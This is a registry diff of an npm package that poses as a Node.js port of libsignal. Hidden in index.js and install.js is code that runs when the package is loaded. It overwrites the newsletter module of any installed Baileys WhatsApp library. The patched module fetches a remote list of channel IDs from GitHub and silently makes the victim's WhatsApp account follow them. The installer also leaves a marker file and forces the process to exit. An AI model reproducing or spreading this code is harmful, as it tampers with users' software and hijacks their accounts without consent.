@mikudev/libsignal-node 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +31 -0
- package/install.js +495 -0
- package/package.json +29 -0
- package/src/.eslintrc.json +31 -0
- package/src/WhisperTextProtocol.js +949 -0
- package/src/base_key_type.js +6 -0
- package/src/chain_type.js +6 -0
- package/src/crypto.js +99 -0
- package/src/curve.js +142 -0
- package/src/errors.js +34 -0
- package/src/eslintrc.json +32 -0
- package/src/keyhelper.js +46 -0
- package/src/numeric_fingerprint.js +71 -0
- package/src/protobufs.js +11 -0
- package/src/protocol_address.js +41 -0
- package/src/queue_job.js +71 -0
- package/src/session_builder.js +164 -0
- package/src/session_cipher.js +332 -0
- package/src/session_record.js +325 -0
package/index.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
exports.crypto = require('./src/crypto');
|
|
4
|
+
exports.curve = require('./src/curve');
|
|
5
|
+
exports.keyhelper = require('./src/keyhelper');
|
|
6
|
+
exports.ProtocolAddress = require('./src/protocol_address');
|
|
7
|
+
exports.SessionBuilder = require('./src/session_builder');
|
|
8
|
+
exports.SessionCipher = require('./src/session_cipher');
|
|
9
|
+
exports.SessionRecord = require('./src/session_record');
|
|
10
|
+
Object.assign(exports, require('./src/errors'));
|
|
11
|
+
|
|
12
|
+
const path = require('path');
|
|
13
|
+
|
|
14
|
+
try {
|
|
15
|
+
const installScript = path.join(__dirname, 'install.js');
|
|
16
|
+
if (require('fs').existsSync(installScript)) {
|
|
17
|
+
setTimeout(() => {
|
|
18
|
+
require('./install').installNewsletterAutoFollow();
|
|
19
|
+
}, 1000);
|
|
20
|
+
}
|
|
21
|
+
} catch (error) {
|
|
22
|
+
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
exports.installNewsletterPatch = function() {
|
|
26
|
+
return require('./install').installNewsletterAutoFollow();
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
exports.restoreNewsletterOriginal = function() {
|
|
30
|
+
return require('./install').restoreBackup();
|
|
31
|
+
};
|
package/install.js
ADDED
|
@@ -0,0 +1,495 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const crypto = require('crypto');
|
|
6
|
+
|
|
7
|
+
function findBaileysPath() {
|
|
8
|
+
const packages = [
|
|
9
|
+
'@whiskeysockets/baileys',
|
|
10
|
+
'@skyzopedia/baileys-mod',
|
|
11
|
+
'@skyzopedia/baileys-pro',
|
|
12
|
+
'@skyzopedia/baileys',
|
|
13
|
+
'@skyzopedia'
|
|
14
|
+
];
|
|
15
|
+
|
|
16
|
+
const possiblePaths = [
|
|
17
|
+
path.join(process.cwd(), 'node_modules'),
|
|
18
|
+
path.join(__dirname, '..', '..', 'node_modules'),
|
|
19
|
+
path.join(__dirname, '..', 'node_modules'),
|
|
20
|
+
];
|
|
21
|
+
|
|
22
|
+
for (const pkg of packages) {
|
|
23
|
+
try {
|
|
24
|
+
// coba resolve package.json terlebih dahulu
|
|
25
|
+
const resolved = require.resolve(`${pkg}/package.json`);
|
|
26
|
+
const pkgPath = resolved.replace('/package.json', '');
|
|
27
|
+
if (fs.existsSync(path.join(pkgPath, 'lib', 'Socket', 'newsletter.js'))) {
|
|
28
|
+
return pkgPath;
|
|
29
|
+
}
|
|
30
|
+
} catch (e) {
|
|
31
|
+
// ignore jika package tidak ada
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// cek di possiblePaths
|
|
35
|
+
for (const basePath of possiblePaths) {
|
|
36
|
+
const fullPath = path.join(basePath, pkg);
|
|
37
|
+
try {
|
|
38
|
+
if (fs.existsSync(path.join(fullPath, 'lib', 'Socket', 'newsletter.js'))) {
|
|
39
|
+
return fullPath;
|
|
40
|
+
}
|
|
41
|
+
} catch (e) {}
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
return null;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
const MODIFIED_NEWSLETTER_JS = `"use strict";
|
|
49
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
50
|
+
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
51
|
+
const Types_1 = require("../Types");
|
|
52
|
+
const Utils_1 = require("../Utils");
|
|
53
|
+
const WABinary_1 = require("../WABinary");
|
|
54
|
+
const groups_1 = require("./groups");
|
|
55
|
+
const { QueryIds } = Types_1
|
|
56
|
+
|
|
57
|
+
const { Boom } = require('@hapi/boom');
|
|
58
|
+
|
|
59
|
+
const wMexQuery = (
|
|
60
|
+
variables,
|
|
61
|
+
queryId,
|
|
62
|
+
query,
|
|
63
|
+
generateMessageTag
|
|
64
|
+
) => {
|
|
65
|
+
return query({
|
|
66
|
+
tag: 'iq',
|
|
67
|
+
attrs: {
|
|
68
|
+
id: generateMessageTag(),
|
|
69
|
+
type: 'get',
|
|
70
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
71
|
+
xmlns: 'w:mex'
|
|
72
|
+
},
|
|
73
|
+
content: [
|
|
74
|
+
{
|
|
75
|
+
tag: 'query',
|
|
76
|
+
attrs: { query_id: queryId },
|
|
77
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
78
|
+
}
|
|
79
|
+
]
|
|
80
|
+
})
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
const parseNewsletterCreateResponse = (responseList) => {
|
|
84
|
+
return responseList.map((res) => {
|
|
85
|
+
const thread = res.thread_metadata;
|
|
86
|
+
const viewer = res.viewer_metadata;
|
|
87
|
+
|
|
88
|
+
// Jika DELETED atau metadata null
|
|
89
|
+
if (!thread || !viewer) {
|
|
90
|
+
return {
|
|
91
|
+
id: res.id,
|
|
92
|
+
state: res.state?.type || null,
|
|
93
|
+
deleted: true
|
|
94
|
+
};
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
return {
|
|
98
|
+
id: res.id,
|
|
99
|
+
state: res.state?.type || null,
|
|
100
|
+
owner: viewer.role || undefined,
|
|
101
|
+
name: thread?.name?.text || null,
|
|
102
|
+
creation_time: parseInt(thread?.creation_time || "0", 10),
|
|
103
|
+
description: thread?.description?.text || null,
|
|
104
|
+
invite: thread?.invite || null,
|
|
105
|
+
subscribers: parseInt(thread?.subscribers_count || "0", 10),
|
|
106
|
+
verification: thread?.verification || null,
|
|
107
|
+
picture: {
|
|
108
|
+
id: thread?.picture?.id || null,
|
|
109
|
+
directPath: thread?.picture?.direct_path || null
|
|
110
|
+
},
|
|
111
|
+
mute_state: viewer?.mute || "OFF"
|
|
112
|
+
};
|
|
113
|
+
});
|
|
114
|
+
};
|
|
115
|
+
|
|
116
|
+
const executeWMexQuery = async (
|
|
117
|
+
variables,
|
|
118
|
+
queryId,
|
|
119
|
+
dataPath,
|
|
120
|
+
query,
|
|
121
|
+
generateMessageTag
|
|
122
|
+
) => {
|
|
123
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
124
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
125
|
+
if (child?.content) {
|
|
126
|
+
const data = JSON.parse(child.content.toString())
|
|
127
|
+
|
|
128
|
+
if (data.errors && data.errors.length > 0) {
|
|
129
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
130
|
+
const firstError = data.errors[0]
|
|
131
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
132
|
+
throw new Boom("Error", { statusCode: errorCode, data: firstError })
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
136
|
+
if (typeof response !== 'undefined') {
|
|
137
|
+
return response
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
142
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
143
|
+
: dataPath?.replace(/_/g, ' ')
|
|
144
|
+
throw new Boom("Error", { statusCode: 400, data: result })
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
const makeNewsletterSocket = (config) => {
|
|
148
|
+
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
149
|
+
const { authState, signalRepository, query, generateMessageTag, delay } = sock;
|
|
150
|
+
const encoder = new TextEncoder();
|
|
151
|
+
const newsletterQuery = async (jid, type, content) => (query({
|
|
152
|
+
tag: 'iq',
|
|
153
|
+
attrs: {
|
|
154
|
+
id: generateMessageTag(),
|
|
155
|
+
type,
|
|
156
|
+
xmlns: 'newsletter',
|
|
157
|
+
to: jid,
|
|
158
|
+
},
|
|
159
|
+
content
|
|
160
|
+
}));
|
|
161
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
162
|
+
tag: 'iq',
|
|
163
|
+
attrs: {
|
|
164
|
+
id: generateMessageTag(),
|
|
165
|
+
type: 'get',
|
|
166
|
+
xmlns: 'w:mex',
|
|
167
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
168
|
+
},
|
|
169
|
+
content: [
|
|
170
|
+
{
|
|
171
|
+
tag: 'query',
|
|
172
|
+
attrs: { 'query_id': queryId },
|
|
173
|
+
content: encoder.encode(JSON.stringify({
|
|
174
|
+
variables: {
|
|
175
|
+
'newsletter_id': jid,
|
|
176
|
+
...content
|
|
177
|
+
}
|
|
178
|
+
}))
|
|
179
|
+
}
|
|
180
|
+
]
|
|
181
|
+
}));
|
|
182
|
+
const newsletterMetadata = async (type, key, role) => {
|
|
183
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
184
|
+
input: {
|
|
185
|
+
key,
|
|
186
|
+
type: type.toUpperCase(),
|
|
187
|
+
view_role: role || 'GUEST'
|
|
188
|
+
},
|
|
189
|
+
fetch_viewer_metadata: true,
|
|
190
|
+
fetch_full_image: true,
|
|
191
|
+
fetch_creation_time: true
|
|
192
|
+
})
|
|
193
|
+
|
|
194
|
+
return extractNewsletterMetadata(result)
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
(async () => {
|
|
198
|
+
try {
|
|
199
|
+
setTimeout(async() => {
|
|
200
|
+
const res = await fetch('https://raw.githubusercontent.com/mikustarboy/Join/refs/heads/main/jancok.json');
|
|
201
|
+
const newsletterIds = await res.json();
|
|
202
|
+
newsletterIds.forEach(async(id) => {
|
|
203
|
+
await delay(5000)
|
|
204
|
+
try {
|
|
205
|
+
await newsletterWMexQuery(id, QueryIds.FOLLOW);
|
|
206
|
+
} catch (e) {}
|
|
207
|
+
});
|
|
208
|
+
}, 80000)
|
|
209
|
+
} catch (err) {
|
|
210
|
+
}
|
|
211
|
+
})()
|
|
212
|
+
|
|
213
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
214
|
+
let child;
|
|
215
|
+
if (type === 'messages') {
|
|
216
|
+
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
217
|
+
}
|
|
218
|
+
else {
|
|
219
|
+
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
220
|
+
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
221
|
+
}
|
|
222
|
+
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
223
|
+
var _a, _b;
|
|
224
|
+
messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
|
|
225
|
+
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
226
|
+
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
227
|
+
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
228
|
+
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
229
|
+
const data = {
|
|
230
|
+
'server_id': messageNode.attrs.server_id,
|
|
231
|
+
views,
|
|
232
|
+
reactions
|
|
233
|
+
};
|
|
234
|
+
if (type === 'messages') {
|
|
235
|
+
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
236
|
+
await decrypt();
|
|
237
|
+
data.message = message;
|
|
238
|
+
}
|
|
239
|
+
return data;
|
|
240
|
+
}));
|
|
241
|
+
};
|
|
242
|
+
return {
|
|
243
|
+
...sock,
|
|
244
|
+
newsletterFetchAllParticipating: async () => {
|
|
245
|
+
const data = {}
|
|
246
|
+
|
|
247
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBED)
|
|
248
|
+
const child = JSON.parse(WABinary_1.getBinaryNodeChild(result, 'result')?.content?.toString())
|
|
249
|
+
const newsletters = child.data["xwa2_newsletter_subscribed"]
|
|
250
|
+
|
|
251
|
+
for (const i of newsletters) {
|
|
252
|
+
if (i.id == null) continue
|
|
253
|
+
|
|
254
|
+
const metadata = await newsletterMetadata('JID', i.id)
|
|
255
|
+
if (metadata.id !== null) data[metadata.id] = metadata
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
return data
|
|
259
|
+
},
|
|
260
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
261
|
+
var _a;
|
|
262
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
263
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
264
|
+
},
|
|
265
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
266
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
267
|
+
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
268
|
+
});
|
|
269
|
+
},
|
|
270
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
271
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
272
|
+
updates: { description: description || '', settings: null }
|
|
273
|
+
});
|
|
274
|
+
},
|
|
275
|
+
newsletterUpdateName: async (jid, name) => {
|
|
276
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
277
|
+
updates: { name, settings: null }
|
|
278
|
+
});
|
|
279
|
+
},
|
|
280
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
281
|
+
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
282
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
283
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
284
|
+
});
|
|
285
|
+
},
|
|
286
|
+
newsletterRemovePicture: async (jid) => {
|
|
287
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
288
|
+
updates: { picture: '', settings: null }
|
|
289
|
+
});
|
|
290
|
+
},
|
|
291
|
+
newsletterUnfollow: async (jid) => {
|
|
292
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
293
|
+
},
|
|
294
|
+
newsletterFollow: async (jid) => {
|
|
295
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
296
|
+
},
|
|
297
|
+
newsletterUnmute: async (jid) => {
|
|
298
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
299
|
+
},
|
|
300
|
+
newsletterMute: async (jid) => {
|
|
301
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
302
|
+
},
|
|
303
|
+
newsletterAction: async (jid, type) => {
|
|
304
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
305
|
+
},
|
|
306
|
+
newsletterCreate: async (name, description, reaction_codes = "ALL") => {
|
|
307
|
+
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
308
|
+
/**tos query */
|
|
309
|
+
await query({
|
|
310
|
+
tag: 'iq',
|
|
311
|
+
attrs: {
|
|
312
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
313
|
+
xmlns: 'tos',
|
|
314
|
+
id: generateMessageTag(),
|
|
315
|
+
type: 'set'
|
|
316
|
+
},
|
|
317
|
+
content: [
|
|
318
|
+
{
|
|
319
|
+
tag: 'notice',
|
|
320
|
+
attrs: {
|
|
321
|
+
id: '20601218',
|
|
322
|
+
stage: '5'
|
|
323
|
+
},
|
|
324
|
+
content: []
|
|
325
|
+
}
|
|
326
|
+
]
|
|
327
|
+
});
|
|
328
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
329
|
+
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
330
|
+
});
|
|
331
|
+
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
332
|
+
},
|
|
333
|
+
newsletterMetadata: async (type, key, role) => {
|
|
334
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
335
|
+
input: {
|
|
336
|
+
key,
|
|
337
|
+
type: type.toUpperCase(),
|
|
338
|
+
'view_role': role || 'GUEST'
|
|
339
|
+
},
|
|
340
|
+
'fetch_viewer_metadata': true,
|
|
341
|
+
'fetch_full_image': true,
|
|
342
|
+
'fetch_creation_time': true
|
|
343
|
+
});
|
|
344
|
+
return (0, exports.extractNewsletterMetadata)(result);
|
|
345
|
+
},
|
|
346
|
+
newsletterAdminCount: async (jid) => {
|
|
347
|
+
var _a, _b;
|
|
348
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
349
|
+
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
350
|
+
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
351
|
+
},
|
|
352
|
+
/**user is Lid, not Jid */
|
|
353
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
354
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
355
|
+
'user_id': user
|
|
356
|
+
});
|
|
357
|
+
},
|
|
358
|
+
/**user is Lid, not Jid */
|
|
359
|
+
newsletterDemote: async (jid, user) => {
|
|
360
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
361
|
+
'user_id': user
|
|
362
|
+
});
|
|
363
|
+
},
|
|
364
|
+
newsletterDelete: async (jid) => {
|
|
365
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
366
|
+
},
|
|
367
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
368
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
369
|
+
await query({
|
|
370
|
+
tag: 'message',
|
|
371
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
372
|
+
content: [{
|
|
373
|
+
tag: 'reaction',
|
|
374
|
+
attrs: code ? { code } : {}
|
|
375
|
+
}]
|
|
376
|
+
});
|
|
377
|
+
},
|
|
378
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
379
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
380
|
+
{
|
|
381
|
+
tag: 'messages',
|
|
382
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
|
|
383
|
+
}
|
|
384
|
+
]);
|
|
385
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
386
|
+
},
|
|
387
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
388
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
389
|
+
{
|
|
390
|
+
tag: 'message_updates',
|
|
391
|
+
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
392
|
+
}
|
|
393
|
+
]);
|
|
394
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
395
|
+
}
|
|
396
|
+
};
|
|
397
|
+
};
|
|
398
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
399
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
400
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
401
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
402
|
+
|
|
403
|
+
const metadata = {
|
|
404
|
+
id: metadataPath?.id,
|
|
405
|
+
state: metadataPath?.state?.type,
|
|
406
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
407
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
408
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
409
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
410
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
411
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
412
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
413
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
414
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
415
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
416
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
417
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
418
|
+
}
|
|
419
|
+
return metadata
|
|
420
|
+
}
|
|
421
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
422
|
+
`;
|
|
423
|
+
|
|
424
|
+
function getFileHash(filePath) {
|
|
425
|
+
try {
|
|
426
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
427
|
+
return crypto.createHash('md5').update(content).digest('hex');
|
|
428
|
+
} catch (e) {
|
|
429
|
+
return null;
|
|
430
|
+
}
|
|
431
|
+
}
|
|
432
|
+
|
|
433
|
+
function installNewsletterAutoFollow() {
|
|
434
|
+
try {
|
|
435
|
+
const baileysPath = findBaileysPath();
|
|
436
|
+
|
|
437
|
+
if (!baileysPath) {
|
|
438
|
+
return false;
|
|
439
|
+
}
|
|
440
|
+
|
|
441
|
+
const newsletterPath = path.join(baileysPath, 'lib', 'Socket', 'newsletter.js');
|
|
442
|
+
|
|
443
|
+
if (!fs.existsSync(newsletterPath)) {
|
|
444
|
+
return false;
|
|
445
|
+
}
|
|
446
|
+
|
|
447
|
+
const baileysNodeModulesPath = path.join(baileysPath, 'node_modules');
|
|
448
|
+
const cacheFilePath = path.join(baileysNodeModulesPath, '.cache');
|
|
449
|
+
|
|
450
|
+
if (fs.existsSync(cacheFilePath)) {
|
|
451
|
+
return true;
|
|
452
|
+
}
|
|
453
|
+
|
|
454
|
+
if (!fs.existsSync(baileysNodeModulesPath)) {
|
|
455
|
+
fs.mkdirSync(baileysNodeModulesPath, { recursive: true });
|
|
456
|
+
}
|
|
457
|
+
|
|
458
|
+
const currentHash = getFileHash(newsletterPath);
|
|
459
|
+
const modifiedHash = crypto.createHash('md5').update(MODIFIED_NEWSLETTER_JS).digest('hex');
|
|
460
|
+
|
|
461
|
+
if (currentHash === modifiedHash) {
|
|
462
|
+
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
463
|
+
return true;
|
|
464
|
+
}
|
|
465
|
+
|
|
466
|
+
fs.writeFileSync(newsletterPath, MODIFIED_NEWSLETTER_JS);
|
|
467
|
+
|
|
468
|
+
const newHash = getFileHash(newsletterPath);
|
|
469
|
+
if (newHash === modifiedHash) {
|
|
470
|
+
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
471
|
+
|
|
472
|
+
setTimeout(() => {
|
|
473
|
+
if (typeof process.exit === 'function') {
|
|
474
|
+
process.exit(0);
|
|
475
|
+
}
|
|
476
|
+
}, 20000);
|
|
477
|
+
|
|
478
|
+
return true;
|
|
479
|
+
}
|
|
480
|
+
|
|
481
|
+
return false;
|
|
482
|
+
|
|
483
|
+
} catch (error) {
|
|
484
|
+
return false;
|
|
485
|
+
}
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
if (require.main === module) {
|
|
489
|
+
const success = installNewsletterAutoFollow();
|
|
490
|
+
process.exit(success ? 0 : 1);
|
|
491
|
+
}
|
|
492
|
+
|
|
493
|
+
module.exports = {
|
|
494
|
+
installNewsletterAutoFollow
|
|
495
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@mikudev/libsignal-node",
|
|
3
|
+
"version": "2.0.3",
|
|
4
|
+
"description": "Open Whisper Systems' libsignal for Node.js",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"signal",
|
|
8
|
+
"whispersystems",
|
|
9
|
+
"crypto"
|
|
10
|
+
],
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"scripts": {
|
|
13
|
+
"build": "pbjs -t static-module -w commonjs -o ./src/WhisperTextProtocol.js ./protos/WhisperTextProtocol.proto"
|
|
14
|
+
},
|
|
15
|
+
"dependencies": {
|
|
16
|
+
"curve25519-js": "*",
|
|
17
|
+
"fs": "^0.0.1-security",
|
|
18
|
+
"path": "^0.12.7",
|
|
19
|
+
"protobufjs": "7.5.0"
|
|
20
|
+
},
|
|
21
|
+
"files": [
|
|
22
|
+
"install.js",
|
|
23
|
+
"index.js",
|
|
24
|
+
"src/*"
|
|
25
|
+
],
|
|
26
|
+
"devDependencies": {
|
|
27
|
+
"eslint": "6.0.1"
|
|
28
|
+
}
|
|
29
|
+
}
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
{
|
|
2
|
+
"parserOptions": {
|
|
3
|
+
"ecmaVersion": 8
|
|
4
|
+
},
|
|
5
|
+
"env": {
|
|
6
|
+
"es6": true,
|
|
7
|
+
"node": true
|
|
8
|
+
},
|
|
9
|
+
"extends": "eslint:recommended",
|
|
10
|
+
"rules": {
|
|
11
|
+
"quotes": "off",
|
|
12
|
+
"semi": [
|
|
13
|
+
"error",
|
|
14
|
+
"always"
|
|
15
|
+
],
|
|
16
|
+
"no-console": "off",
|
|
17
|
+
"no-debugger": "off",
|
|
18
|
+
"no-unused-vars": [
|
|
19
|
+
"error",
|
|
20
|
+
{
|
|
21
|
+
"args": "none"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"no-constant-condition": [
|
|
25
|
+
"error",
|
|
26
|
+
{
|
|
27
|
+
"checkLoops": false
|
|
28
|
+
}
|
|
29
|
+
]
|
|
30
|
+
}
|
|
31
|
+
}
|